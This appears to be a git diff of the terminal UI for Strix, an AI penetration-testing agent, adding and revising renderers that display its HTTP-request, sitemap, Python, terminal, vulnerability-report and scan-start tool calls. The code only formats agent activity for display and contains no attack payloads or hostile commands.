elif "content" in result:
page = result.get("page", 1)
total_lines = result.get("total_lines", 0)
showing = result.get("showing_lines", "")
has_more = result.get("has_more", False)
content = result.get("content", "")
text.append(f" [page {page}, {total_lines} lines]", style="dim")
text.append(f" [{showing}]", style="dim")
if content and isinstance(content, str):
lines = content.split("\n")[:15]
@@ -199,6 +195,80 @@ class ViewRequestRenderer(BaseToolRenderer):
return Static(text, classes=css_classes)
@register_tool_renderer
class SendRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "send_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "running")
method = args.get("method", "GET")
url = args.get("url", "")
req_headers = args.get("headers")
req_body = args.get("body", "")
text = Text()
text.append(PROXY_ICON, style="dim")
text.append(" sending request", style="#06b6d4")
text.append("\n")
text.append(" >> ", style="#3b82f6")
text.append(method, style="#a78bfa")
text.append(f" {_truncate(url, 180)}", style="dim")
if req_headers and isinstance(req_headers, dict):
for k, v in list(req_headers.items())[:5]:
text.append("\n")
text.append(" >> ", style="#3b82f6")
text.append(f"{k}: ", style="dim")
text.append(_sanitize(str(v), 150), style="dim")
if req_body and isinstance(req_body, str):
text.append("\n")
text.append(" >> ", style="#3b82f6")
body_lines = req_body.split("\n")[:4]
for i, line in enumerate(body_lines):
if i > 0:
text.append("\n")
text.append(" ", style="dim")
text.append(_truncate(line, MAX_LINE_LENGTH), style="dim")
if len(req_body.split("\n")) > 4:
text.append(" ...", style="dim italic")
if status == "completed" and isinstance(result, dict):
if "error" in result:
text.append(f"\n error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
else:
code = result.get("status_code")
time_ms = result.get("response_time_ms")
text.append("\n")
text.append(" << ", style="#22c55e")
if code:
text.append(f"{code}", style=_status_style(code))
if time_ms:
text.append(f" ({time_ms}ms)", style="dim")
body = result.get("body", "")
if body and isinstance(body, str):
lines = body.split("\n")[:6]
for line in lines:
text.append("\n")
text.append(" << ", style="#22c55e")
text.append(_truncate(line, MAX_LINE_LENGTH - 5), style="dim")
if len(body.split("\n")) > 6:
text.append("\n")
text.append(" ...", style="dim italic")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class RepeatRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "repeat_request"
@@ -262,26 +332,30 @@ class RepeatRequestRenderer(BaseToolRenderer):
text.append(f"\n {_truncate(modifications, 200)}", style="dim italic")
if status == "completed" and isinstance(result, dict):
if not result.get("success", True) and result.get("error"):
if "error" in result:
text.append(f"\n error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
else:
elapsed_ms = result.get("elapsed_ms")
response = result.get("response") or {}
code = response.get("status_code") if isinstance(response, dict) else None
body = response.get("body", "") if isinstance(response, dict) else ""
body_truncated = (
bool(response.get("body_truncated")) if isinstance(response, dict) else False
)
req = result.get("request", {})
method = req.get("method", "")
url = req.get("url", "")
code = result.get("status_code")
time_ms = result.get("response_time_ms")
text.append("\n")
text.append(" >> ", style="#3b82f6")
if method:
text.append(f"{method} ", style="#a78bfa")
if url:
text.append(_truncate(url, 180), style="dim")
text.append("\n")
text.append(" << ", style="#22c55e")
if code:
text.append(f"{code}", style=_status_style(code))
else:
text.append("(no response)", style="dim")
if elapsed_ms:
text.append(f" ({elapsed_ms}ms)", style="dim")
if time_ms:
text.append(f" ({time_ms}ms)", style="dim")
body = result.get("body", "")
if body and isinstance(body, str):
lines = body.split("\n")[:5]
for line in lines:
@@ -289,7 +363,7 @@ class RepeatRequestRenderer(BaseToolRenderer):
text.append(" << ", style="#22c55e")
text.append(_truncate(line, MAX_LINE_LENGTH - 5), style="dim")
if body_truncated or len(body.split("\n")) > 5:
if len(body.split("\n")) > 5:
text.append("\n")
text.append(" ...", style="dim italic")
@@ -297,155 +371,6 @@ class RepeatRequestRenderer(BaseToolRenderer):
return Static(text, classes=css_classes)
@register_tool_renderer
class ListSitemapRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_sitemap"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "running")
parent_id = args.get("parent_id")
scope_id = args.get("scope_id")
depth = args.get("depth")
text = Text()
text.append(PROXY_ICON, style="dim")
text.append(" listing sitemap", style="#06b6d4")
if parent_id:
text.append(f" under #{_truncate(str(parent_id), 20)}", style="dim")
meta_parts = []
if scope_id and isinstance(scope_id, str):
meta_parts.append(f"scope:{scope_id[:8]}")
if depth and depth != "DIRECT":
meta_parts.append(depth.lower())
if meta_parts:
text.append(f" ({', '.join(meta_parts)})", style="dim")
if status == "completed" and isinstance(result, dict):
if "error" in result:
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
else:
total = result.get("total_count", 0)
entries = result.get("entries", [])
text.append(f" [{total} entries]", style="dim")
if entries and isinstance(entries, list):
text.append("\n")
for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]):
if not isinstance(entry, dict):
continue
kind = entry.get("kind") or "?"
label = entry.get("label") or "?"
has_children = entry.get("has_descendants", False)
req = entry.get("request") or {}
kind_style = {
"DOMAIN": "#f59e0b",
"DIRECTORY": "#3b82f6",
"REQUEST": "#22c55e",
}.get(kind, "dim")
text.append(" ")
kind_abbr = kind[:3] if isinstance(kind, str) else "?"
text.append(f"{kind_abbr:3}", style=kind_style)
text.append(f" {_truncate(label, 150)}", style="dim")
if req:
method = req.get("method", "")
code = req.get("status_code")
if method:
text.append(f" {method}", style="#a78bfa")
if code:
text.append(f" {code}", style=_status_style(code))
if has_children:
text.append(" +", style="dim italic")
if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1:
text.append("\n")
if len(entries) > MAX_REQUESTS_DISPLAY:
text.append("\n")
text.append(
f" ... +{len(entries) - MAX_REQUESTS_DISPLAY} more", style="dim italic"
)
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class ViewSitemapEntryRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_sitemap_entry"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "running")
entry_id = args.get("entry_id", "")
text = Text()
text.append(PROXY_ICON, style="dim")
text.append(" viewing sitemap", style="#06b6d4")
if entry_id:
text.append(f" #{_truncate(str(entry_id), 20)}", style="dim")
if status == "completed" and isinstance(result, dict):
if "error" in result:
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
elif "entry" in result:
entry = result.get("entry") or {}
if not isinstance(entry, dict):
entry = {}
kind = entry.get("kind", "")
label = entry.get("label", "")
related = entry.get("related_requests") or {}
related_reqs = related.get("requests", []) if isinstance(related, dict) else []
total_related = related.get("total_count", 0) if isinstance(related, dict) else 0
if kind and label:
text.append(f" {kind}: {_truncate(label, 120)}", style="dim")
if total_related:
text.append(f" [{total_related} requests]", style="dim")
if related_reqs and isinstance(related_reqs, list):
text.append("\n")
for i, req in enumerate(related_reqs[:10]):
if not isinstance(req, dict):
continue
method = req.get("method", "?")
path = req.get("path", "/")
code = req.get("status_code")
text.append(" ")
text.append(f"{method:6}", style="#a78bfa")
text.append(f" {_truncate(path, 180)}", style="dim")
if code:
text.append(f" {code}", style=_status_style(code))
if i < min(len(related_reqs), 10) - 1:
text.append("\n")
if len(related_reqs) > 10:
text.append("\n")
text.append(f" ... +{len(related_reqs) - 10} more", style="dim italic")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class ScopeRulesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "scope_rules"
@@ -534,3 +459,152 @@ class ScopeRulesRenderer(BaseToolRenderer):
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class ListSitemapRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_sitemap"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "running")
parent_id = args.get("parent_id")
scope_id = args.get("scope_id")
depth = args.get("depth")
text = Text()
text.append(PROXY_ICON, style="dim")
text.append(" listing sitemap", style="#06b6d4")
if parent_id:
text.append(f" under #{_truncate(str(parent_id), 20)}", style="dim")
meta_parts = []
if scope_id and isinstance(scope_id, str):
meta_parts.append(f"scope:{scope_id[:8]}")
if depth and depth != "DIRECT":
meta_parts.append(depth.lower())
if meta_parts:
text.append(f" ({', '.join(meta_parts)})", style="dim")
if status == "completed" and isinstance(result, dict):
if "error" in result:
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
else:
total = result.get("total_count", 0)
entries = result.get("entries", [])
text.append(f" [{total} entries]", style="dim")
if entries and isinstance(entries, list):
text.append("\n")
for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]):
if not isinstance(entry, dict):
continue
kind = entry.get("kind") or "?"
label = entry.get("label") or "?"
has_children = entry.get("hasDescendants", False)
req = entry.get("request") or {}
kind_style = {
"DOMAIN": "#f59e0b",
"DIRECTORY": "#3b82f6",
"REQUEST": "#22c55e",
}.get(kind, "dim")
text.append(" ")
kind_abbr = kind[:3] if isinstance(kind, str) else "?"
text.append(f"{kind_abbr:3}", style=kind_style)
text.append(f" {_truncate(label, 150)}", style="dim")
if req:
method = req.get("method", "")
code = req.get("status")
if method:
text.append(f" {method}", style="#a78bfa")
if code:
text.append(f" {code}", style=_status_style(code))
if has_children:
text.append(" +", style="dim italic")
if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1:
text.append("\n")
if len(entries) > MAX_REQUESTS_DISPLAY:
text.append("\n")
text.append(
f" ... +{len(entries) - MAX_REQUESTS_DISPLAY} more", style="dim italic"
)
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class ViewSitemapEntryRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_sitemap_entry"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "running")
entry_id = args.get("entry_id", "")
text = Text()
text.append(PROXY_ICON, style="dim")
text.append(" viewing sitemap", style="#06b6d4")
if entry_id:
text.append(f" #{_truncate(str(entry_id), 20)}", style="dim")
if status == "completed" and isinstance(result, dict):
if "error" in result:
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
elif "entry" in result:
entry = result.get("entry") or {}
if not isinstance(entry, dict):
entry = {}
kind = entry.get("kind", "")
label = entry.get("label", "")
related = entry.get("related_requests") or {}
related_reqs = related.get("requests", []) if isinstance(related, dict) else []
total_related = related.get("total_count", 0) if isinstance(related, dict) else 0
if kind and label:
text.append(f" {kind}: {_truncate(label, 120)}", style="dim")
if total_related:
text.append(f" [{total_related} requests]", style="dim")
if related_reqs and isinstance(related_reqs, list):
text.append("\n")
for i, req in enumerate(related_reqs[:10]):
if not isinstance(req, dict):
continue
method = req.get("method", "?")
path = req.get("path", "/")
code = req.get("status")
text.append(" ")
text.append(f"{method:6}", style="#a78bfa")
text.append(f" {_truncate(path, 180)}", style="dim")
if code:
text.append(f" {code}", style=_status_style(code))
if i < min(len(related_reqs), 10) - 1:
text.append("\n")
if len(related_reqs) > 10:
text.append("\n")
text.append(f" ... +{len(related_reqs) - 10} more", style="dim italic")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -0,0 +1,155 @@
import re
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import PythonLexer
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
MAX_OUTPUT_LINES = 50
MAX_LINE_LENGTH = 200
ANSI_PATTERN = re.compile(r"\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)")
STRIP_PATTERNS = [
r"\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]",
]
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
@cache
def _get_lexer() -> PythonLexer:
return PythonLexer()
@cache
def _get_token_color(token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@register_tool_renderer
class PythonRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "python_action"
css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"]
@classmethod
def _highlight_python(cls, code: str) -> Text:
text = Text()
for token_type, token_value in _get_lexer().get_tokens(code):
if token_value:
text.append(token_value, style=_get_token_color(token_type))
return text
@classmethod
def _clean_output(cls, output: str) -> str:
cleaned = output
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned)
return cleaned.strip()
@classmethod
def _strip_ansi(cls, text: str) -> str:
return ANSI_PATTERN.sub("", text)
@classmethod
def _truncate_line(cls, line: str) -> str:
clean_line = cls._strip_ansi(line)
if len(clean_line) > MAX_LINE_LENGTH:
return clean_line[: MAX_LINE_LENGTH - 3] + "..."
return clean_line
@classmethod
def _format_output(cls, output: str) -> Text:
text = Text()
lines = output.splitlines()
total_lines = len(lines)
head_count = MAX_OUTPUT_LINES // 2
tail_count = MAX_OUTPUT_LINES - head_count - 1
if total_lines <= MAX_OUTPUT_LINES:
display_lines = lines
truncated = False
hidden_count = 0
else:
display_lines = lines[:head_count]
truncated = True
hidden_count = total_lines - head_count - tail_count
for i, line in enumerate(display_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(display_lines) - 1 or truncated:
text.append("\n")
if truncated:
text.append(f" ... {hidden_count} lines truncated ...", style="dim italic")
text.append("\n")
tail_lines = lines[-tail_count:]
for i, line in enumerate(tail_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(tail_lines) - 1:
text.append("\n")
return text
@classmethod
def _append_output(cls, text: Text, result: dict[str, Any] | str) -> None:
if isinstance(result, str):
if result.strip():
text.append("\n")
text.append_text(cls._format_output(result))
return
stdout = result.get("stdout", "")
stdout = cls._clean_output(stdout) if stdout else ""
if stdout:
text.append("\n")
formatted_output = cls._format_output(stdout)
text.append_text(formatted_output)
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result")
action = args.get("action", "")
code = args.get("code", "")
text = Text()
text.append("</> ", style="dim")
if code and action in ["new_session", "execute"]:
text.append_text(cls._highlight_python(code))
elif action == "close":
text.append("Closing session...", style="dim")
elif action == "list_sessions":
text.append("Listing sessions...", style="dim")
else:
text.append("Running...", style="dim")
if result and isinstance(result, dict | str):
cls._append_output(text, result)
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -20,6 +20,14 @@ class ToolTUIRegistry:
def get_renderer(cls, tool_name: str) -> type[BaseToolRenderer] | None:
return cls._renderers.get(tool_name)
@classmethod
def list_tools(cls) -> list[str]:
return list(cls._renderers.keys())
@classmethod
def has_renderer(cls, tool_name: str) -> bool:
return tool_name in cls._renderers
def register_tool_renderer(renderer_class: type[BaseToolRenderer]) -> type[BaseToolRenderer]:
ToolTUIRegistry.register(renderer_class)
@@ -6,22 +6,15 @@ from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from strix.tools.reporting.reporting_actions import (
parse_code_locations_xml,
parse_cvss_xml,
)
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
def _coerce_dict(value: Any) -> dict[str, Any]:
if isinstance(value, dict):
return value
return {}
def _coerce_list_of_dicts(value: Any) -> list[dict[str, Any]]:
if isinstance(value, list):
return [item for item in value if isinstance(item, dict)]
return []
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
@@ -99,8 +92,8 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
poc_script_code = args.get("poc_script_code", "")
remediation_steps = args.get("remediation_steps", "")
cvss_breakdown = _coerce_dict(args.get("cvss_breakdown"))
code_locations = _coerce_list_of_dicts(args.get("code_locations"))
cvss_breakdown_xml = args.get("cvss_breakdown", "")
code_locations_xml = args.get("code_locations", "")
endpoint = args.get("endpoint", "")
method = args.get("method", "")
@@ -159,7 +152,8 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
text.append("CWE: ", style=FIELD_STYLE)
text.append(cwe)
if cvss_breakdown:
parsed_cvss = parse_cvss_xml(cvss_breakdown_xml) if cvss_breakdown_xml else None
if parsed_cvss:
text.append("\n\n")
cvss_parts = []
for key, prefix in [
@@ -172,7 +166,7 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
("integrity", "I"),
("availability", "A"),
]:
val = cvss_breakdown.get(key)
val = parsed_cvss.get(key)
if val:
cvss_parts.append(f"{prefix}:{val}")
text.append("CVSS Vector: ", style=FIELD_STYLE)
@@ -196,10 +190,13 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
text.append("\n")
text.append(technical_analysis)
if code_locations:
parsed_locations = (
parse_code_locations_xml(code_locations_xml) if code_locations_xml else None
)
if parsed_locations:
text.append("\n\n")
text.append("Code Locations", style=FIELD_STYLE)
for i, loc in enumerate(code_locations):
for i, loc in enumerate(parsed_locations):
text.append("\n\n")
text.append(f" Location {i + 1}: ", style=DIM_STYLE)
text.append(loc.get("file", "unknown"), style=FILE_STYLE)
@@ -0,0 +1,68 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class ScanStartInfoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "scan_start_info"
css_classes: ClassVar[list[str]] = ["tool-call", "scan-info-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
targets = args.get("targets", [])
text = Text()
text.append("", style="#22c55e")
text.append("Starting penetration test")
if len(targets) == 1:
text.append(" on ")
text.append(cls._get_target_display(targets[0]))
elif len(targets) > 1:
text.append(f" on {len(targets)} targets")
for target_info in targets:
text.append("\n")
text.append(cls._get_target_display(target_info))
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@classmethod
def _get_target_display(cls, target_info: dict[str, Any]) -> str:
original = target_info.get("original")
if original:
return str(original)
return "unknown target"
@register_tool_renderer
class SubagentStartInfoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "subagent_start_info"
css_classes: ClassVar[list[str]] = ["tool-call", "subagent-info-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
name = str(args.get("name", "Unknown Agent"))
task = str(args.get("task", ""))
text = Text()
text.append("", style="#a78bfa")
text.append("subagent ", style="dim")
text.append(name, style="bold #a78bfa")
if task:
text.append("\n ")
text.append(task, style="dim")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -0,0 +1,311 @@
import re
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
MAX_OUTPUT_LINES = 50
MAX_LINE_LENGTH = 200
STRIP_PATTERNS = [
(
r"\n?\[Command still running after [\d.]+s - showing output so far\.?"
r"\s*(?:Use C-c to interrupt if needed\.)?\]"
),
r"^\[Below is the output of the previous command\.\]\n?",
r"^No command is currently running\. Cannot send input\.$",
(
r"^A command is already running\. Use is_input=true to send input to it, "
r"or interrupt it first \(e\.g\., with C-c\)\.$"
),
]
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
@register_tool_renderer
class TerminalRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "terminal_execute"
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
CONTROL_SEQUENCES: ClassVar[set[str]] = {
"C-c",
"C-d",
"C-z",
"C-a",
"C-e",
"C-k",
"C-l",
"C-u",
"C-w",
"C-r",
"C-s",
"C-t",
"C-y",
"^c",
"^d",
"^z",
"^a",
"^e",
"^k",
"^l",
"^u",
"^w",
"^r",
"^s",
"^t",
"^y",
}
SPECIAL_KEYS: ClassVar[set[str]] = {
"Enter",
"Escape",
"Space",
"Tab",
"BTab",
"BSpace",
"DC",
"IC",
"Up",
"Down",
"Left",
"Right",
"Home",
"End",
"PageUp",
"PageDown",
"PgUp",
"PgDn",
"PPage",
"NPage",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"F11",
"F12",
}
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_bash(cls, code: str) -> Text:
lexer = get_lexer_by_name("bash")
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result")
command = args.get("command", "")
is_input = args.get("is_input", False)
content = cls._build_content(command, is_input, status, result)
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_content(
cls, command: str, is_input: bool, status: str, result: dict[str, Any] | str | None
) -> Text:
text = Text()
terminal_icon = ">_"
if not command.strip():
text.append(terminal_icon, style="dim")
text.append(" ")
text.append("getting logs...", style="dim")
if result:
cls._append_output(text, result, status, command)
return text
is_special = (
command in cls.CONTROL_SEQUENCES
or command in cls.SPECIAL_KEYS
or command.startswith(("M-", "S-", "C-S-", "C-M-", "S-M-"))
)
text.append(terminal_icon, style="dim")
text.append(" ")
if is_special:
text.append(command, style="#ef4444")
elif is_input:
text.append(">>>", style="#3b82f6")
text.append(" ")
text.append_text(cls._format_command(command))
else:
text.append("$", style="#22c55e")
text.append(" ")
text.append_text(cls._format_command(command))
if result:
cls._append_output(text, result, status, command)
return text
@classmethod
def _clean_output(cls, output: str, command: str = "") -> str:
cleaned = output
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned, flags=re.MULTILINE)
if cleaned.strip():
lines = cleaned.splitlines()
filtered_lines: list[str] = []
for line in lines:
if not filtered_lines and not line.strip():
continue
if re.match(r"^\[STRIX_\d+\]\$\s*", line):
continue
if command and line.strip() == command.strip():
continue
if command and re.match(r"^[\$#>]\s*" + re.escape(command.strip()) + r"\s*$", line):
continue
filtered_lines.append(line)
while filtered_lines and re.match(r"^\[STRIX_\d+\]\$\s*", filtered_lines[-1]):
filtered_lines.pop()
cleaned = "\n".join(filtered_lines)
return cleaned.strip()
@classmethod
def _append_output(
cls, text: Text, result: dict[str, Any] | str, tool_status: str, command: str = ""
) -> None:
if isinstance(result, str):
if result.strip():
text.append("\n")
text.append_text(cls._format_output(result))
return
raw_output = result.get("content", "")
output = cls._clean_output(raw_output, command)
error = result.get("error")
exit_code = result.get("exit_code")
result_status = result.get("status", "")
if error and not cls._is_status_message(error):
text.append("\n")
text.append(" error: ", style="bold #ef4444")
text.append(cls._truncate_line(error), style="#ef4444")
return
if result_status == "running" or tool_status == "running":
if output and output.strip():
text.append("\n")
formatted_output = cls._format_output(output)
text.append_text(formatted_output)
return
if not output or not output.strip():
if exit_code is not None and exit_code != 0:
text.append("\n")
text.append(f" exit {exit_code}", style="dim #ef4444")
return
text.append("\n")
formatted_output = cls._format_output(output)
text.append_text(formatted_output)
if exit_code is not None and exit_code != 0:
text.append("\n")
text.append(f" exit {exit_code}", style="dim #ef4444")
@classmethod
def _is_status_message(cls, message: str) -> bool:
status_patterns = [
r"No command is currently running",
r"A command is already running",
r"Cannot send input",
r"Use is_input=true",
r"Use C-c to interrupt",
r"showing output so far",
]
return any(re.search(pattern, message) for pattern in status_patterns)
@classmethod
def _format_output(cls, output: str) -> Text:
text = Text()
lines = output.splitlines()
total_lines = len(lines)
head_count = MAX_OUTPUT_LINES // 2
tail_count = MAX_OUTPUT_LINES - head_count - 1
if total_lines <= MAX_OUTPUT_LINES:
display_lines = lines
truncated = False
hidden_count = 0
else:
display_lines = lines[:head_count]
truncated = True
hidden_count = total_lines - head_count - tail_count
for i, line in enumerate(display_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(display_lines) - 1 or truncated:
text.append("\n")
if truncated:
text.append(f" ... {hidden_count} lines truncated ...", style="dim italic")
text.append("\n")
tail_lines = lines[-tail_count:]
for i, line in enumerate(tail_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(tail_lines) - 1:
text.append("\n")
return text
@classmethod
def _truncate_line(cls, line: str) -> str:
clean_line = re.sub(r"\x1b\[[0-9;]*m", "", line)
if len(clean_line) > MAX_LINE_LENGTH:
return line[: MAX_LINE_LENGTH - 3] + "..."
return line
@classmethod
def _format_command(cls, command: str) -> Text:
return cls._highlight_bash(command)
@@ -1,7 +1,28 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
class UserMessageRenderer:
@register_tool_renderer
class UserMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "user_message"
css_classes: ClassVar[list[str]] = ["chat-message", "user-message"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
content = tool_data.get("content", "")
if not content:
return Static(Text(), classes=" ".join(cls.css_classes))
styled_text = cls._format_user_message(content)
return Static(styled_text, classes=" ".join(cls.css_classes))
@classmethod
def render_simple(cls, content: str) -> Text:
if not content:
File diff suppressed because it is too large Load Diff
-6
View File
@@ -1,6 +0,0 @@
"""Textual TUI interface."""
from strix.interface.tui.app import StrixTUIApp, run_tui
__all__ = ["StrixTUIApp", "run_tui"]
-60
View File
@@ -1,60 +0,0 @@
"""Historical SDK session loading for the TUI."""
from __future__ import annotations
import json
import logging
import sqlite3
from datetime import UTC, datetime
from typing import TYPE_CHECKING, Any
from strix.core.paths import runtime_state_dir
if TYPE_CHECKING:
from pathlib import Path
logger = logging.getLogger(__name__)
def load_session_history(run_dir: Path, agent_ids: Any) -> list[tuple[str, dict[str, Any], str]]:
agents_db = runtime_state_dir(run_dir) / "agents.db"
session_ids = [aid for aid in agent_ids if isinstance(aid, str)]
if not agents_db.exists() or not session_ids:
return []
session_id_set = set(session_ids)
try:
with sqlite3.connect(agents_db) as conn:
rows = conn.execute(
"select id, session_id, message_data, created_at from agent_messages order by id"
).fetchall()
except sqlite3.Error:
logger.exception("Failed to hydrate TUI history from %s", agents_db)
return []
items: list[tuple[str, dict[str, Any], str]] = []
for row_id, agent_id, message_data, created_at in rows:
if agent_id not in session_id_set:
continue
try:
item = json.loads(message_data)
except (TypeError, json.JSONDecodeError):
logger.debug("Skipping unreadable SDK session item %s for %s", row_id, agent_id)
continue
if isinstance(item, dict):
items.append((str(agent_id), item, _sqlite_timestamp_to_iso(created_at)))
return items
def _sqlite_timestamp_to_iso(value: Any) -> str:
if not isinstance(value, str) or not value.strip():
return datetime.now(UTC).isoformat()
text = value.strip()
try:
parsed = datetime.fromisoformat(text)
except ValueError:
return text
if parsed.tzinfo is None:
parsed = parsed.replace(tzinfo=UTC)
return parsed.astimezone(UTC).isoformat()
-356
View File
@@ -1,356 +0,0 @@
"""TUI-owned projection of SDK session history and stream events."""
from __future__ import annotations
import json
from datetime import UTC, datetime
from typing import TYPE_CHECKING, Any
if TYPE_CHECKING:
from pathlib import Path
from strix.core.paths import runtime_state_dir
from strix.interface.tui.history import load_session_history
class TuiLiveView:
def __init__(self) -> None:
self.agents: dict[str, dict[str, Any]] = {}
self.events: list[dict[str, Any]] = []
self._next_event_id = 1
self._open_assistant_event_by_agent: dict[str, dict[str, Any]] = {}
self._tool_event_by_call_id: dict[str, dict[str, Any]] = {}
def hydrate_from_run_dir(self, run_dir: Path) -> None:
state_dir = runtime_state_dir(run_dir)
agents_path = state_dir / "agents.json"
if not agents_path.exists():
return
try:
agents_data = json.loads(agents_path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return
statuses = agents_data.get("statuses") or {}
names = agents_data.get("names") or {}
parent_of = agents_data.get("parent_of") or {}
if not isinstance(statuses, dict):
return
for agent_id, status in statuses.items():
if not isinstance(agent_id, str):
continue
self.upsert_agent(
agent_id,
name=names.get(agent_id, agent_id) if isinstance(names, dict) else agent_id,
parent_id=parent_of.get(agent_id) if isinstance(parent_of, dict) else None,
status=str(status),
)
self._hydrate_sdk_session_history(run_dir, statuses.keys())
def _hydrate_sdk_session_history(self, run_dir: Path, agent_ids: Any) -> None:
for agent_id, item, timestamp in load_session_history(run_dir, agent_ids):
self._ingest_session_history_item(
agent_id,
item,
timestamp=timestamp,
)
def upsert_agent(
self,
agent_id: str,
*,
name: str | None = None,
parent_id: str | None = None,
status: str | None = None,
error_message: str | None = None,
) -> None:
now = datetime.now(UTC).isoformat()
